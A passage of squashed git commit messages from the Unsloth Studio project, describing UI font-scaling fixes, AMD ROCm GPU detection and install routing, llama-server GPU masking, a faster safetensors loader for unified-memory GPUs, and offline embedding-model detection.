Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
The rename input only ignored the composition-confirming Enter, so on WebKit an
Escape that cancels an IME candidate also cancelled the rename. Move the
composition guard ahead of the key branch so both Enter and Escape are ignored
while a CJK candidate is being composed.
* Studio: make UI font size scale all text without moving layout
The UI font size setting changes the root rem base, so only rem sized
text reacted. Hundreds of px text classes, px font sizes in CSS, and
chart labels stayed fixed, while rem based padding, widths and radii
wrongly grew.
Convert all text sizes to rem so every font follows the setting, and
pin spacing, radius, container widths, sidebar and thread widths to px
so layout no longer follows the rem base. Library styles (streamdown,
react-flow) are re-based via overrides. All conversions are exact at
the default 16px root, so the default rendering is unchanged.
* Studio: keep logo at fixed size and fit tight controls at large UI fonts
The logo lockups (sidebar wordmark with beta badge, onboarding wizard)
are branding and now keep px sizes at any UI font size.
Two controls clipped their text at the largest setting: the appearance
color chips (fixed w-24) and the voice tab selects (fixed w-56). Both
use min widths now, so they keep the default look at 16px and only
grow when the text needs the room.
* Studio: keep dropdown corners rounded when the menu scrolls
A scrolling dropdown lost its rounded corners on the scrollbar side:
WebKit paints the surface square when the rounded element itself hosts
the scrollbar, which shows up in the desktop app whenever a menu
overflows, for example at larger UI font sizes.
Dropdown menu and select content now clip with overflow hidden and
scroll an inner viewport instead. The surface padding insets the
scrollbar clear of the curve, so corners stay rounded in every engine.
Submenus are unaffected since sub content is portaled.
* Studio: scale the logo lockups at half the UI font size rate
Rather than pinning the logo, the sidebar lockup (sticker, wordmark,
beta badge) and the onboarding lockup now follow the UI font size at
half the rate of the change: size = base + (root - 16px) / 2, written
as calc((base - 8)px + 0.5rem). A 4px font size change moves the logo
by 2px, and the default 16px root renders the exact base sizes.
* Studio: address review feedback on leading, grid tracks and select scrolling
Numeric leading utilities (leading-3 through leading-10) derive from
--spacing, so pinning spacing to px also froze their line-heights while
the paired text sizes now scale. Define them as rem theme tokens so
line-height follows the UI font size again; values are identical at the
16px default.
Convert the grid tracks the rem-to-px codemod missed (rem followed by
an underscore escaped the word boundary): the response details label
column and the on-device folder rows.
Make the Radix select viewport the bounded scroller instead of a
wrapper div, so Radix's scroll handling and the browser scroll the same
element. Restore the app's thin scrollbar with an inline style, which
beats the scrollbar hiding stylesheet Radix injects at runtime.
* Studio: cap voice select widths and update CI contracts
* Studio: reject whitespace-only passwords
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: reject any whitespace in passwords
* Studio: surface whitespace error in setup form, isolate auth test import
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* installer: fix Linux AMD GPU detection + actionable ROCm-less warning
The rocminfo/amd-smi-less fallback in _has_amd_rocm_gpu keyed on a
/gpu_id/ line inside each KFD node's properties file, but gpu_id is a
separate sibling sysfs file and never appears in properties. The guard
never matched, so the fallback missed every AMD host without ROCm
tooling (e.g. a fresh CachyOS/Arch box) and reported 'no GPU detected'
despite vendor_id 4098 being present in the KFD topology.
Detect via vendor_id == 4098 directly: the KFD CPU node reports
vendor_id 0, so any 4098 node is an AMD GPU, while NVIDIA's KFD nodes
report 4318 and stay excluded.
Also rework the 'ROCm version could not be determined' warning into an
actionable message (install the ROCm/HIP SDK; Arch/CachyOS:
rocm-hip-sdk) so ROCm-less users know the concrete next step instead of
silently landing on CPU-only PyTorch.
* tests: replace the FNR==1 KFD invariant with the per-line vendor_id check
The FNR==1 reset guarded the old paired gpu_id+vendor_id awk against
cross-node state leakage. The new detection is a single atomic
vendor_id==4098 line condition, so there is no per-node state to reset;
assert the new invariant instead (single-line vendor match, and no
/gpu_id/ pattern, which never matched inside properties).
tests/studio/install/test_rocm_support.py: 344 passed, 2 skipped.
* installer: mirror the KFD vendor_id fix in setup.sh + honest CPU-fallback summary
Codex P2 follow-ups:
- studio/setup.sh carried the same dead gpu_id-inside-properties awk, so a
host install.sh now routes to ROCm still failed setup's independent AMD
re-probe and got a CPU llama.cpp. Use the same per-line vendor_id 4098
check.
- When the AMD GPU is detected but the torch index stays CPU, the summary
printed the old false diagnosis (gpu none / "No GPU detected"). Gate both
on _has_amd_rocm_gpu and say what actually happened: AMD GPU present, no
usable ROCm, CPU fallback.
- Structure test asserting setup.sh's KFD awk stays in sync with install.sh.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep KFD-only AMD hosts on the CPU fallback (Codex P2s)
The KFD-topology fix makes _has_amd_rocm_gpu / _setup_amd_detected true on hosts that expose an AMD GPU to the kernel but ship no rocminfo/amd-smi. Detection alone does not mean ROCm is usable or that the gfx arch is known, and two downstream paths wrongly assumed it did:
- studio/setup.sh forwarded --has-rocm with no gfx, so install_llama_prebuilt found no per-gfx bundle and dropped to a HIP source build (slow, or a hard failure without build deps) instead of the CPU prebuilt these hosts used to get. Now --has-rocm is forwarded for a gfx-unknown host only when hipcc is present; otherwise it keeps the CPU prebuilt.
- install.sh get_torch_index_url selected a generic rocmX.Y index whenever the ROCm version was readable, but the Strix reroute only learns gfx from rocminfo/amd-smi, so a Strix KFD-only host landed on the broken _grouped_mm wheels. Now, when neither rocminfo nor amd-smi is present (gfx unknowable), it stays on CPU with a hint to install them.
Detection and the improved diagnostics are unchanged; only the routing for gfx-unknown KFD-only hosts is made safe. Adds tests for both gates.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Harden KFD-only fallback: probe gfx, accept versioned hipcc (Codex P2s)
Follow-up to the previous commit's two guards:
- install.sh: the KFD-only torch guard tested only 'command -v rocminfo/amd-smi', so a host where those binaries exist but do not enumerate the GPU (gfx unreadable) slipped through and, with hipconfig/rocm-core present, still got a generic rocm index -- breaking Strix. Now it actually reads the gfx (rocminfo, then amd-smi list / static --asic, the same probe the reroute uses) and falls back to CPU whenever the arch is unreadable, not just when the binaries are absent.
- studio/setup.sh: the hipcc gate missed a HIP toolchain installed only under a versioned prefix (/opt/rocm-*/bin/hipcc), which the source build at setup.sh:1663 does support, so such hosts were dropped to the CPU prebuilt unnecessarily. The gate now also accepts /opt/rocm-*/bin/hipcc.
Tests updated to assert the gfx-read (not binary-presence) gate and the versioned hipcc path; full test_rocm_support.py green (347 passed). Verified the gfx probe by execution: rocminfo-with-no-gfx now routes to CPU, amd-smi fallback still resolves gfx.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Honor UNSLOTH_ROCM_GFX_ARCH before the CPU fallback for PR #7314
Seed both the gfx-unknown guard in get_torch_index_url and the Strix reroute
from UNSLOTH_ROCM_GFX_ARCH before probing rocminfo/amd-smi, so a host that
names its arch reaches the correct rocm index instead of being forced to CPU
(or to the generic wheels) when the runtime probes can't enumerate the GPU.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Probe gfx with visibility masks cleared for PR #7314 (Codex P2)
rocminfo/amd-smi honor ROCR/HIP_VISIBLE_DEVICES, so a container that masks the
GPU (e.g. ROCR_VISIBLE_DEVICES=-1) would make the gfx probe read nothing and
force CPU torch, even though the KFD-based AMD detection is env-independent and
hipconfig can still supply the ROCm version. Clear the visibility masks for the
rocminfo/amd-smi arch probe only (the Strix reroute keeps them for per-GPU index
selection), so a masked/container host keeps its ROCm route.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Re-probe gfx unmasked in the Strix reroute when a mask hides all agents for PR #7314 (Codex P2)
* Remove leftover conflict marker from the test merge
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Report an explicit CPU pin instead of a ROCm misdiagnosis for PR #7314 (Codex P3)
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Trigger the reroute re-probe on a set-but-empty visibility mask for PR #7314 (subagent review)
* Guard the ROCm version chain against set -e when no source exists for PR #7314 (simulation find)
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Preserve the inferred-gfx reroute for KFD-only hosts (Codex P2)
The gfx-unknown CPU guard in get_torch_index_url fired before the
runtime-less reroute could run: with the KFD topology fix,
_has_amd_rocm_gpu is true on KFD-only hosts, so the reroute's
'! _has_amd_rocm_gpu' gate never let _infer_linux_amd_gfx_arch route
them to AMD per-arch wheels, regressing inferable boxes (PCI/cpuinfo/
lspci) from arch-specific PyTorch to CPU-only.
- Factor the override->rocminfo->amd-smi gfx probe (masks cleared)
into _probe_amd_gfx_arch, shared by the guard and the reroute gate
so the two can't disagree on what 'readable' means.
- Reroute gate now also fires when the GPU is detected but the probe
is empty (KFD-only). Deliberate CPU fallbacks (old/unreadable ROCm
version) all had a readable gfx and stay excluded.
- The guard defers to the reroute (no false 'installing CPU-only
PyTorch' promise) only when inference yields a supported family;
otherwise the actionable CPU warning is unchanged.
Executed tests: KFD-only host reroutes to repo.amd.com per-arch wheels
and exports UNSLOTH_ROCM_GFX_ARCH for setup.sh; readable-gfx CPU
fallback stays un-rerouted; undetected-GPU reroute unchanged; the
guard's three inference outcomes covered. Suite: 375 passed, bash -n
clean on both scripts.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix two false diagnostics on the KFD-only paths (Codex P3s)
1. get_torch_index_url: with UNSLOTH_ROCM_GFX_ARCH set on a KFD-only
host that has no ROCm version sources, the no-version endpoint
printed 'falling back to CPU-only PyTorch' even though the reroute
(gated on the override) then installs the per-arch wheels. When the
override maps to a wheel family, defer with an accurate message;
an unmappable override keeps the CPU warning since the reroute
can't route it either.
2. Runtime-less reroute: the KFD-only branch reached the warning
'ROCm runtime not visible (/dev/kfd, rocminfo, amd-smi)' although
/dev/kfd is exactly what detected the GPU. The diagnostic now
distinguishes KFD-visible/tooling-blind hosts from truly
runtime-invisible ones.
Executed tests: supported override defers without the false CPU
warning, unsupported override and readable-gfx no-version hosts keep
it; KFD-only reroute emits the KFD wording, undetected-GPU reroute
keeps the original. Version sources are shimmed so the tests hold on
dev boxes with a real hipconfig. Suite: 376 passed, bash -n clean.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* Studio: clear composer draft on send
* Studio: verify the Cloudflare link is reachable before printing it
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: wait for tunnel DNS propagation before verifying the public URL
* Studio: bound tunnel DNS wait and health probe by one deadline
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: keep composer draft when overlay send validation fails
* Studio: retry transient DoH failures while waiting for tunnel DNS
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* fix(install): infer Strix gfx when ROCm runtime is absent
When /dev/kfd and rocminfo are missing on Linux (e.g. Arch/CachyOS Strix
Halo), route to AMD per-arch wheels via cpuinfo/lspci inference instead
of CPU-only PyTorch. Mirrors install.ps1 Windows behavior and fixes
studio update via install_python_stack.py (unslothai#7301).
* Map Radeon 8065S to gfx1151 in the Linux gfx inference (Codex P2)
install.sh _infer_amd_gfx_arch_from_gpu_name missed 8065S, so a Strix Halo host that only exposes 'AMD Radeon 8065S' via lspci (no Ryzen AI Max branding in /proc/cpuinfo) was left on CPU torch. setup.sh and setup.ps1 already list 8065S -> gfx1151. Added it, and widened the cpuinfo regexes (install.sh and install_python_stack.py) from Radeon 80[0-9]0S to 80[0-9][05]S to match the 80X5S naming, consistent with the display-side check already in install.sh. Tests cover the 8065S name and the cpuinfo-only case.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Gate the Linux gfx inference out of WSL without the ROCDXG runtime for PR #7305
On WSL /proc/cpuinfo and lspci still see the host APU, so a standalone
'unsloth studio update' could infer gfx1151 and install per-arch ROCm wheels
into a WSL env whose ROCDXG bridge (librocdxg) was never bootstrapped, i.e. one
that cannot expose the GPU. Skip the cpuinfo/lspci inference on WSL unless
librocdxg is present; an explicit UNSLOTH_ROCM_GFX_ARCH override still wins.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address Codex review on PR #7305 (WSL runtime gate, Linux mirror, arch guard)
- install.sh _infer_linux_amd_gfx_arch: skip the cpuinfo/lspci inference on WSL
unless librocdxg is present (the ROCDXG bridge), mirroring the Python fix, so a
WSL box whose ROCm bootstrap was skipped keeps the CPU fallback instead of
installing AMD wheels that cannot reach the GPU. The explicit UNSLOTH_ROCM_GFX_ARCH
override still returns first, so it stays authoritative.
- install.sh: guard the inferred-gfx reroute on x86_64|amd64. ROCm torch wheels are
not published for arm64, so an inferred/overridden gfx no longer pushes an arm64
host to the AMD arch index (get_torch_index_url returns CPU there).
- install_python_stack.py _amd_arch_index_url: honour UNSLOTH_AMD_ROCM_MIRROR on
Linux (the same var install.sh uses) instead of the Windows mirror var, so a
mirrored/air-gapped Linux 'unsloth studio update' reaches the index install.sh
chose. Windows still delegates unchanged; both default to repo.amd.com.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Scan all AMD display controllers in the lspci fallback for PR #7305 (Codex P2)
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix(studio): keep inferred AMD wheels from being overwritten
After a successful inferred-gfx install, skip the generic pytorch.org
ROCm reinstall so readable ROCm userland without /dev/kfd cannot undo
the per-arch repair (Codex P1 on #7305). Also merge latest main.
* Only take the inferred-gfx install when the runtime sees no GPU for PR #7305 (Codex P1)
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Isolate three updater tests from the host cpuinfo for PR #7305 (Strix dev box leak)
* Gate the reroute on invisible ROCm and forward the inferred gfx to setup.sh for PR #7305 (Codex P2s)
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Require AMD PCI display evidence for cpuinfo inference; honor gfx override with visible ROCm for PR #7305 (Codex P2s)
---------
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: LeoBorcherding <borchborchmail@gmail.com>
* Studio: mask AMD GPU pins via ROCR so an unsupported iGPU can't crash llama-server
On a mixed AMD host (e.g. a discrete gfx1102 GPU next to a gfx1103 iGPU)
the bundled rocm-gfx110X llama.cpp build segfaults during HSA device
enumeration on the unsupported iGPU -- before llama-server prints a line,
so every model load fails with a bare signal and empty logs.
The GPU-subset pin masked visibility with HIP_VISIBLE_DEVICES, but HIP
filtering runs only after the HSA runtime has already enumerated (and
crashed on) every agent. Mask the subset via ROCR_VISIBLE_DEVICES (the
ROCr/HSA layer) instead, so a deselected/unsupported GPU is never
enumerated. Exactly one layer is masked (HIP cleared) to avoid the
double-mask reindex that would otherwise drop the child to CPU. The
whole-set tensor-split path and the CPU-only sentinel keep their existing
HIP behavior.
Also stop misreporting the resulting startup segfault as a vision
projector incompatibility: when the text-only mmproj retry also hard-
crashes with a signal, surface a GPU/driver init crash (with the ROCR
hint) instead of blaming the projector.
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten _emit_child_gpu_visibility comments for #7272
Comment and docstring only: condense the ROCR-vs-HIP masking rationale from ~22 to ~14 lines and the call-site note from 5 to 3, keeping every technical point (HSA enumeration segfault, physical ids, the -1 sentinel). Logic is unchanged, verified by an AST compare with docstrings stripped and by exercising _emit_child_gpu_visibility against a torch/HIP stub.
* Detect AMD SDK ROCm wheels (hip=None) in _emit_child_gpu_visibility (Codex P2)
The ROCm branch gated only on torch.version.hip, but AMD SDK wheels leave that unset while encoding 'rocm' in __version__ (detect_hardware handles this the same way). On such a wheel the masking was skipped entirely, leaving only CUDA_VISIBLE_DEVICES, so on a mixed AMD box the unsupported deselected iGPU still enumerated and could crash llama-server. Now the branch also treats 'rocm' in torch.__version__ as ROCm, mirroring detect_hardware. Adds tests for the hip=None SDK wheel (ROCR + default paths) and a CUDA guard so the version-string check can't false-positive.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Remap CUDA_VISIBLE_DEVICES to post-ROCR ordinals on prefer_rocr for PR #7272 (Codex P1)
On the prefer_rocr path _emit_child_gpu_visibility set ROCR_VISIBLE_DEVICES to the
physical id and cleared HIP_VISIBLE_DEVICES, but left CUDA_VISIBLE_DEVICES at the
physical id. ROCR re-indexes the visible agents from 0 and, with HIP cleared, HIP
honours CUDA_VISIBLE_DEVICES -- so a non-zero pick (e.g. GPU 1) pointed out of
range, HIP saw 0 devices, and the child fell back to CPU, defeating GPU-picker
selections other than physical GPU 0. Remap CUDA to the post-ROCR ordinals
(0..N-1); GPU 0 is unchanged, the default (HIP) path and the CPU sentinel are
untouched, and non-AMD wheels never enter this branch.
* Detect AMD SDK wheels in _resolve_visible_physical_ids for PR #7272 (Codex P2)
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep the HIP mask on Windows ROCm in prefer_rocr for PR #7272 (Codex P2)
* Ignore ROCR_VISIBLE_DEVICES in _resolve_visible_physical_ids on Windows for PR #7272 (Codex P2)
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Preserve inherited ROCR masks in the tensor-split pin for PR #7272 (Codex P2)
---------
Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: Leo Borcherding <borchborchmail@gmail.com>
* Studio: put Hub above Projects in the sidebar
Swap the two nav rows so Hub sits directly under New Chat, ahead of
Projects. Order only, no behavior change.
* Studio: rename Hub to Models, lowercase New chat
Rename the Hub nav row and its page heading to Models (localized in all
locales). Use sentence case 'New chat' in the English label.
* Studio: fix dataset title and stale Hub tab hints after rename
Show 'Datasets' as the catalog heading in dataset mode, not 'Models'.
Update the download-conflict toasts to point at the Models tab.
* Studio: lighten chat text weight on Linux to match macOS rendering
* Exclude custom interface fonts from the Linux chat weight compensation
* Simplify Linux chat font weight override
* Faster safetensors weight loading on unified-memory (integrated) GPUs
On unified-memory GPUs (AMD APUs / "Strix Halo", NVIDIA GB10 "Spark", Intel
iGPUs) the GPU shares the system memory pool. PyTorch's fast pinned-DMA
host->device path does not recognize the Rust-allocated, mmap-backed buffers
that safetensors hands back, so a direct safetensors GPU load
(`safe_open(..., device=<cuda>)`) drops onto a slow per-tensor copy that, on
unified memory, additionally triggers page-attribute changes and page faults.
Wrap `transformers.modeling_utils.safe_open` so that, when transformers asks it
to load a shard directly onto a CUDA/HIP device, the shard is opened on CPU and
each tensor is `.clone()`-d into a normal torch allocation before `.to(device)`.
This restores the fast DMA path. Data, dtype and final device are unchanged, so
outputs are bit-identical -- only *how* the bytes reach the GPU changes.
Strictly gated to integrated/unified-memory GPUs via the standard `is_integrated`
device property (every visible device must be integrated): a hard no-op on
discrete NVIDIA/AMD GPUs, CPU, XPU and MLX, where the pinned-DMA path already
works. Only intercepts `framework="pt"` CUDA-device targets; CPU / disk-offload
loads are left untouched. Accuracy-neutral, idempotent, opt out with
UNSLOTH_DISABLE_UMA_CLONE_LOAD=1 (force the gate for tests with
UNSLOTH_FORCE_UMA=1/0).
This is the AMD/universal-UMA counterpart to the NVIDIA DGX Spark work in #5945
(which deliberately left the H2D clone-then-move out): gating on `is_integrated`
covers AMD Strix Halo, Intel iGPUs and Spark-class parts alike.
Verified on an AMD Radeon 8060S (gfx1151, Strix Halo) Windows ROCm box with
in-process, ordering-cancelled A/B benchmarks:
- H2D mechanism (safe_open device=0 vs cpu->clone->.to(0)): 2.08x faster
(1.076s -> 0.518s for a 988MB bf16 shard)
- full `from_pretrained`: 1.56x faster (1.552s -> 0.996s), saving 0.555s --
matching the H2D delta exactly
- max|logit diff| stock vs patched == 0.0 (bit-identical), generate + a LoRA
train step both verified
The absolute/relative win grows with bf16/fp16 weight volume (the same trick is
reported as ~2.3-2.75x on NVIDIA GB10 Spark for larger models).
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix: evaluate the integrated-GPU gate lazily, not at import (Gemini review)
patch_unified_memory_safetensors_load() called
is_integrated_unified_memory_gpu() at install time, and the gate queries
torch.cuda.get_device_properties() for every visible device -- initializing
the CUDA context during `import unsloth` on every CUDA machine (discrete
included). That (a) breaks fork-based multiprocessing, (b) runs BEFORE
patch_dgx_spark_memory_config can set PYTORCH_CUDA_ALLOC_CONF on Spark,
defeating that patch's expandable_segments config in the very environment
this PR targets, and (c) charges a CUDA context to CPU-only imports.
The gate now runs lazily inside the wrapper, ordered AFTER the
framework/device check so non-CUDA loads never trigger the property query;
a CUDA-target safe_open means the caller is initializing CUDA anyway, and
the gate is lru-cached so it is evaluated once. The wrapper installs
unconditionally (opt-out and idempotency unchanged) and passes through when
the gate is off.
Tests: install-time no-eval guarantee (gate raises if called during
install), wrapper passthrough with the gate off, all previous gating /
passthrough / CUDA correctness tests kept -- 16/16 pass. Verified on the
N1X (WSL2): module exec + patch install leave torch.cuda.is_initialized()
unchanged; CPU loads pass through; forced CUDA-target loads intercept and
land bit-identical on the GPU.
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
* Compress PR comments to essentials (comment-only; AST-verified)
Docstrings and the _utils hook comment trimmed to their load-bearing
content (lazy-gate rationale, gating scope, opt-out env). AST dumps
with normalized docstrings are identical before/after for all three
files; the module's 16 unit tests pass unchanged.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* docs: tighten the UMA-load import comment (no code change)
* Tighten and trim code comments
* Drop unused is_integrated_unified_memory_gpu import from _utils.py
The UMA hook only needs patch_unified_memory_safetensors_load(); the
gate symbol is imported and used from ._uma_safetensors directly, so the
hoisted alias here was dead and tripped the import-hoist safety-net lint.
* Scope the UMA loader docstring to CUDA/HIP direct-device loads
The module text claimed Intel iGPU coverage, but the gate and device check
are CUDA/HIP only, and the clone path only wraps safe_open calls that carry
a CUDA device. State the actual scope and name the deliberate exclusions
(Intel XPU, CPU-open + .to() flows like bnb/HQQ) until they can be validated
on real hardware. Comment-only change.
* Tighten UMA safetensors loader comments
Trim the inline comments in the UMA clone-then-move path and the
_utils.py install site to be shorter and clearer. No code changes.
* uma: fall back to the direct move when the clone cannot allocate
The clone-and-move fast path transiently doubles one tensor's CPU
footprint while the mmap source and the CUDA destination are live. On a
UMA box with little free shared memory a large tensor could OOM where
the stock direct safe_open path would have loaded it. Both move sites
now go through a helper that catches the allocation failure and falls
back to the direct (slow but allocation-free) move, so the load always
succeeds; a genuine non-memory error re-raises identically from the
fallback.
Added a test that forces the clone to fail and verifies the wrapper
still lands tensors on the device with intact values (17 tests pass on
a real GPU).
* tests: track the moved pass-through inheritance in the gguf order check
Main moved the llama_extra_args pass-through inheritance out of the
GGUF branch into _resolve_inherited_extra_args, which runs before it,
so the source-order assertion's "if request.llama_extra_args is None"
anchor no longer exists inside the branch and the check failed after
the main merge. The test now asserts the same property in the current
shape: inheritance before the GGUF branch (a carried --no-mmproj still
shapes the hub guard's companion requirement), and marker, hub guard,
unload in order within the branch. Full file passes (32 tests).
* tests: anchor the inheritance order check on the call, not the definition
source.index("_resolve_inherited_extra_args(") matched the function
definition, which always precedes the endpoint, so the ordering
assertion was vacuously true. Anchoring on "= _resolve_inherited_
extra_args(" pins the first call site inside the load endpoint (line
4505), which is the statement whose position relative to the GGUF
branch the test is meant to guard. 32 tests pass.
* tests: align the gguf order test with main
Main fixed the stale ordering assertion in PR 7252; adopting its
version verbatim removes this file from the branch diff entirely and
avoids a conflict on the next main merge. 32 tests pass.
* uma: tighten comments
* Relicense UMA safetensors module and test under AGPL-3.0
---------
Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* fix(install): route Strix to AMD gfx index on ROCm 7.14
When ROCm 7.3+ caps to the generic pytorch.org rocm7.2 index (or the
Radeon repo is unavailable), gfx1150/gfx1151 hosts were left on
torch 2.11+rocm7.2 instead of AMD's arch-specific wheels. Broaden the
Strix reroute in install.sh and studio/install_python_stack.py so
`studio update` repairs the same path as fresh installs (unslothai#7280).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Bring the local-subagent support onto main. The original change (#7316) merged
into the stacked pr/daniel-unsloth-start-audit branch rather than main, and #7313
reached main via squash, so these files never landed on main.
Adds --as-subagent for claude, codex, opencode and pi: the parent agent keeps its
own cloud model while a locally served GGUF is registered as a delegated subagent,
using ephemeral per-session config that never touches the user's real agent config.
* studio: classify embedding models from the HF cache and honor offline mode
is_embedding_model() went straight to huggingface_hub.model_info() for any repo
id, so in offline mode (no DNS, or HF_HUB_OFFLINE set) selecting an
already-downloaded model hung on network retries that could never succeed and
training/export never started (#6817).
Check the local HF cache first: a sentence-transformers repo carries
modules.json in its snapshot (the same marker used for local paths), so a cached
model is classified with no network call. When HF_HUB_OFFLINE / TRANSFORMERS_OFFLINE
is set, anything not positively an embedding model returns False without a
network call instead of retrying a doomed request. Online, uncached lookups still
fall through to model_info(), so tag-only embedding models (feature-extraction)
are unaffected.
Adds _embedding_marker_in_hf_cache() over the existing _iter_hf_cache_snapshots.
* studio: judge the active cached revision, harden the cache probe, stop stub leaks
Three review fixes on the cache-first embedding detection:
1. Prefer the revision refs/main resolves to. The HF cache keeps snapshots of
older revisions, so an any-snapshot scan could classify a repo by a stale
revision -- e.g. a repo that used to be a sentence-transformers model would
short-circuit even the online lookup. When refs/main is recorded, only its
snapshot is consulted; the newest-first scan remains the fallback for caches
with no ref.
2. Keep the cache probe inside the detection error boundary. The snapshot
iterator stat()s entries and could raise if a cached model is deleted
concurrently, propagating a 500 out of the config/check-embedding routes.
_embedding_marker_in_hf_cache now catches everything and reads as
not-cached, so callers keep their normal Hub/offline fallback.
3. Stub loggers/structlog in the test only when the real modules are absent
(try-import, mirroring test_windows_gpu_detection_mock), so collecting this
file first can no longer shadow the real packages for later tests in the
same pytest process.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio: treat a missing active-ref snapshot as a cache miss, don't cache offline misses
Two review fixes on the cache-first embedding detection:
1. When refs/main is recorded but points at a commit whose snapshot dir is
absent (partial download / cache pruning), the recorded ref is still
authoritative: return None (cache miss) instead of falling through to scan
older snapshots, which could report a stale historical revision's
modules.json as the active one -- the same stale-cache class this helper
avoids.
2. Do not cache the offline negative. When HF_HUB_OFFLINE/TRANSFORMERS_OFFLINE
is set and the repo is not positively an ST model from modules.json,
is_embedding_model stored False under the (model_name, hf_token) key shared
with online lookups; after the env var cleared in the same process, a
tag-only (feature-extraction) embedder returned the cached False and never
reached model_info(). The offline negative is now returned without caching.
* studio: defer online embedding detection to the Hub, re-probe offline
The local modules.json marker short-circuited is_embedding_model() even
online, so a repo that dropped (or added) the marker since it was cached
was judged by its stale local revision instead of the current remote one.
Online now treats model_info() as authoritative and uses the cache marker
only as an uncached fallback when the Hub is unreachable, so a transient
failure never poisons the memo. Offline re-probes the marker on every call
without consulting or populating the memo, so a model downloaded later in
the session (or a cached online negative that predates the download) is
detected. _embedding_marker_in_hf_cache() now treats an unreadable refs/main
(a non-FileNotFoundError OSError) as a cache miss rather than scanning stale
history -- only a genuinely missing ref enables the fallback scan.
* studio: harden offline embedding detection against empty refs, offline flips, and cache casing
- _embedding_marker_in_hf_cache: an existing-but-empty/whitespace refs/main
(a partial write or in-progress truncate-and-rewrite) now reads as a cache
miss (None) instead of falling through to scan stale snapshots; only a
genuinely missing ref enables the historical scan.
- is_embedding_model: while offline, retain a positive already confirmed online
this session (model_info only ever memoizes Hub-derived results), so
_hf_offline_if_dns_dead() flipping the process to offline mid-load can't
downgrade a verified tag-only embedder to False. Cached negatives are still
bypassed and re-probed.
- resolve_cached_repo_casing + settings route: persist the embedding model in
the casing its local HF cache dir uses. Validation accepts a case-insensitive
cache hit, but an offline SentenceTransformer load resolves the cache by exact
case, so storing the requested spelling (baai/bge-m3 vs models--BAAI--bge-m3)
made the model fail to load on a case-sensitive filesystem.
* studio: reuse the exact-match-first case resolver and preserve the default
Replace the ad-hoc resolve_cached_repo_casing with the existing
resolve_cached_repo_id_case, which already prefers the exact-case cache dir
before any case variant and tie-breaks variants deterministically -- so an
exact requested id is never rewritten to a differently cased directory just
because iterdir() happened to yield it first.
Skip the normalization entirely when the submitted model equals the default:
rewriting its casing would make set_rag_embedding_model()'s exact-string
default comparison treat it as a custom override, pinning it so later changes
to the configured default stop taking effect.
* studio: don't let a stale cache marker mask a permanent Hub error
is_embedding_model's Hub-failure fallback consulted the local modules.json
marker for ANY model_info() exception, so a permanent error -- a deleted repo,
a gated repo without credentials, or a typo that matches stale cache casing --
